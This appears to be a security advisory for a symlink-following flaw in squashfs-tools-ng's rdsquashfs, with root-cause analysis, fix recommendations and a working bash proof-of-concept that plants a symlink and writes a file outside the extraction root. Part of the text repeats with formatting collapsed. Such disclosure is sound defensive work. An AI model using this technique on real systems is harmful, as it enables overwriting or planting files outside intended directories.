rdsquashfs is often used to unpack SquashFS images into an existing directory for inspection (firmware analysis, container/image tooling, CI scanning, etc.).
This vulnerability maps to CWE-59:Improper Link Resolution Before File Access (‘Link Following’)
One realistic attack scenario is a shared workspace where the destination directory is not empty and contains attacker-controlled filesystem entries:
/tmp/rdsquashfs_poc/
|-- out/
| `-- dir -> ../outside/ (preexisting symlink planted in destination)
|-- outside/
`-- image.sqfs (untrusted image containing dir/pwn.txt)
Victim workflow:
- Operator runs:
rdsquashfs -u / -p /tmp/rdsquashfs_poc/out /tmp/rdsquashfs_poc/image.sqfs
rdsquashfs treats out/dir as “already exists” and later follows it when creating dir/pwn.txt
- The extracted file is written into
/tmp/rdsquashfs_poc/outside/pwn.txt (outside the intended extraction root)
This class requires a hostile pre-state: the SquashFS image bytes can be fully valid and contain only normal relative paths.
0. Environment
- Source:
git clone https://github.com/AgentD/squashfs-tools-ng.git /tmp/squashfs-tools-ng
- Version: squashfs-tools-ng commit
e3dcf17 (latest on 23/04/2026)
- Version below
e3dcf17 is also infected.
1. Description
rdsquashfs supports unpacking a SquashFS image into an existing destination directory (via --unpack-root/-p).
If a destination path component already exists as a symlink, rdsquashfs will treat it as “already exists” and proceed, then later filesystem operations will follow the symlink and write outside of the intended extraction root.
This is a classic “hostile pre-state” extraction bug.
Relevant code:
lib/util/src/mkdir_p.c:126+ — treats mkdir(...)=EEXIST as success without verifying inode type.
bin/rdsquashfs/src/rdsquashfs.c:243-248 — mkdir_p(opt.unpack_root) then chdir(opt.unpack_root).
bin/rdsquashfs/src/restore_fstree.c:61+ — directory creation accepts EEXIST without lstat() checks; later creates/writes regular files by path, allowing symlink traversal in parent components.
2. Impact
An attacker who can influence the destination directory contents (or any software that extracts into a non-empty / attacker-prepared directory) can cause rdsquashfs to write files outside the intended output directory.
Impact ranges from clobbering application/user files to planting startup/config files in attacker-controlled locations, depending on privileges and extraction context.
3. Root Cause
- No symlink-safe path walking for output paths.
- Existing path components are not validated with
lstat() / S_ISDIR checks before being reused.
4. Proof-of-Concept
4.1 PoC files
4.2 Expected result
The PoC verifies that rdsquashfs writes:
/tmp/rdsquashfs_poc/outside/pwn.txt
even though extraction was requested under:
5. Fix Recommendations
- Perform extraction relative to a trusted directory fd (e.g.,
openat() with a symlink-safe path walk).
- When encountering existing path components,
lstat() them and reject S_IFLNK (and other unexpected types).
- If you want to support merging into existing directories, require that every existing directory component is a real directory, not a symlink.
- Add regression tests for:
- preexisting
dir -> ../outside
- extraction root being a symlink
6. Reproduction
From this directory:
Below is poc.sh
#!/usr/bin/env bash
set -euo pipefail
SQFSNG_REPO_URL="https://github.com/AgentD/squashfs-tools-ng.git"
SQFSNG_SRC="/tmp/squashfs-tools-ng"
SQFSNG_COMMIT="e3dcf17"
for bin in mksquashfs; do
if ! command -v "$bin" >/dev/null 2>&1; then
echo "error: $bin is required" >&2
exit 1
fi
done
if [[ ! -d "${SQFSNG_SRC}/.git" ]]; then
git clone "${SQFSNG_REPO_URL}" "${SQFSNG_SRC}" >/dev/null
fi
git -C "${SQFSNG_SRC}" checkout -q "${SQFSNG_COMMIT}"
base=/tmp/unpfuzz_rdsquashfs_poc
rm -rf "${base}"
mkdir -p "${base}/src/dir" "${base}/out" "${base}/outside"
printf 'RDSQFS\n' > "${base}/src/dir/pwn.txt"
mksquashfs "${base}/src" "${base}/test.sqfs" -noappend -quiet >/dev/null
## Preexisting symlink in the destination tree.
ln -s ../outside "${base}/out/dir"
## Build rdsquashfs (out-of-tree) to keep the repo clean.
if [[ ! -x "${SQFSNG_SRC}/configure" ]]; then
(cd "${SQFSNG_SRC}" && ./autogen.sh >/dev/null)
fi
build="${base}/build"
mkdir -p "${build}"
(cd "${build}" && "${SQFSNG_SRC}/configure" --disable-shared >/dev/null)
(cd "${build}" && make -j"$(nproc)" rdsquashfs >/dev/null)
rdsq_bin="${build}/rdsquashfs"
if [[ ! -x "${rdsq_bin}" ]]; then
echo "error: rdsquashfs binary not executable: ${rdsq_bin}" >&2
exit 1
fi
"${rdsq_bin}" -q -u / -p "${base}/out" "${base}/test.sqfs" >/dev/null
if [[ ! -f "${base}/outside/pwn.txt" ]]; then
echo "[-] exploit failed: expected outside file not found" >&2
find "${base}" -maxdepth 4 -ls >&2 || true
exit 1
fi
echo "[+] extraction followed preexisting parent symlink; wrote outside:"
ls -l "${base}/outside/pwn.txt"
cat "${base}/outside/pwn.txt"
rdsquashfsis often used to unpack SquashFS images into an existing directory for inspection (firmware analysis, container/image tooling, CI scanning, etc.).This vulnerability maps to CWE-59:Improper Link Resolution Before File Access (‘Link Following’)
One realistic attack scenario is a shared workspace where the destination directory is not empty and contains attacker-controlled filesystem entries:
Victim workflow:
rdsquashfs -u / -p /tmp/rdsquashfs_poc/out /tmp/rdsquashfs_poc/image.sqfsrdsquashfstreatsout/diras “already exists” and later follows it when creatingdir/pwn.txt/tmp/rdsquashfs_poc/outside/pwn.txt(outside the intended extraction root)This class requires a hostile pre-state: the SquashFS image bytes can be fully valid and contain only normal relative paths.
0. Environment
git clone https://github.com/AgentD/squashfs-tools-ng.git /tmp/squashfs-tools-nge3dcf17(latest on 23/04/2026)e3dcf17is also infected.1. Description
rdsquashfssupports unpacking a SquashFS image into an existing destination directory (via--unpack-root/-p).If a destination path component already exists as a symlink,
rdsquashfswill treat it as “already exists” and proceed, then later filesystem operations will follow the symlink and write outside of the intended extraction root.This is a classic “hostile pre-state” extraction bug.
Relevant code:
lib/util/src/mkdir_p.c:126+— treatsmkdir(...)=EEXISTas success without verifying inode type.bin/rdsquashfs/src/rdsquashfs.c:243-248—mkdir_p(opt.unpack_root)thenchdir(opt.unpack_root).bin/rdsquashfs/src/restore_fstree.c:61+— directory creation acceptsEEXISTwithoutlstat()checks; later creates/writes regular files by path, allowing symlink traversal in parent components.2. Impact
An attacker who can influence the destination directory contents (or any software that extracts into a non-empty / attacker-prepared directory) can cause
rdsquashfsto write files outside the intended output directory.Impact ranges from clobbering application/user files to planting startup/config files in attacker-controlled locations, depending on privileges and extraction context.
3. Root Cause
lstat()/S_ISDIRchecks before being reused.4. Proof-of-Concept
4.1 PoC files
poc.sh4.2 Expected result
The PoC verifies that
rdsquashfswrites:/tmp/rdsquashfs_poc/outside/pwn.txteven though extraction was requested under:
/tmp/rdsquashfs_poc/out/5. Fix Recommendations
openat()with a symlink-safe path walk).lstat()them and rejectS_IFLNK(and other unexpected types).dir -> ../outside6. Reproduction
From this directory:
Below is poc.sh